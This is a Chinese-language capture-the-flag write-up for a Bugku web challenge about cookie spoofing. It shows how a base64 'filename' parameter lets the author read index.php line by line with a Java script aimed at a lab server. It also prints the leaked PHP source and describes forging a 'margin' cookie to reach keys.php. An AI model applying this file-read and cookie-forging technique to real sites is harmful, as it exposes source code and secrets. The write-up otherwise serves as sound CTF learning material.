web20 --- cookies欺骗 ---bugku
首先看到一串无意义的代码,直接F12查看源代码,但是没看到有用的信息。
看到url的地址栏见到右base64的字样,拿去解码,说是key.txt文件,我们要理解导航栏之后代码的意思
line=代表行的意思,filename=a2V5cy50eHQ=代表浏览查看的文件,那么我们试试看这个key.txt文件是否有别的代码
也试过了其它行,结果还是没有信息,那我们试试看查看index.php这个文件,我们拿去转码aW5kZXgucGhwYQ==
我们看到index.php时有代码的,我们试着看显示它的源代码
java脚本:
package test;
import java.net.*;
import java.io.*;
public class Url {
public static void main(String[] args) throws IOException {
for(int i = 0;i<18;i++) {
URL url=new URL("http://114.67.246.176:11818/index.php?line="+i+"&filename=aW5kZXgucGhw");//默认主页
InputStream is=url.openStream();//获取网络流
//获取网络资源,编码格式不同会出现乱码****************
byte[] flush=new byte[1024];
int len=0;
while(-1!=(len=is.read(flush)))
{
System.out.println(new String(flush,0,len));
}
is.close();
//获取网络资源,编码格式不同会出现乱码****************
//解决乱码的方法,转换流
BufferedReader br=new BufferedReader(new InputStreamReader(url.openStream(),"utf-8"));//解码方式,utf-8
String msg=null;
BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream("百度.html"),"utf-8"));
while((msg=br.readLine())!=null)
{
bw.append(msg);
bw.newLine();
}
bw.flush();
bw.close();
br.close();
}
}
}
获得index.php内容:
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){ //看到我们需要cookie中的值要等于margin
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
之后我们根据提示,COOKIE: margin==margin filename:keys.php,我使用hackbar不行,就是看不到flag,换了个burp构建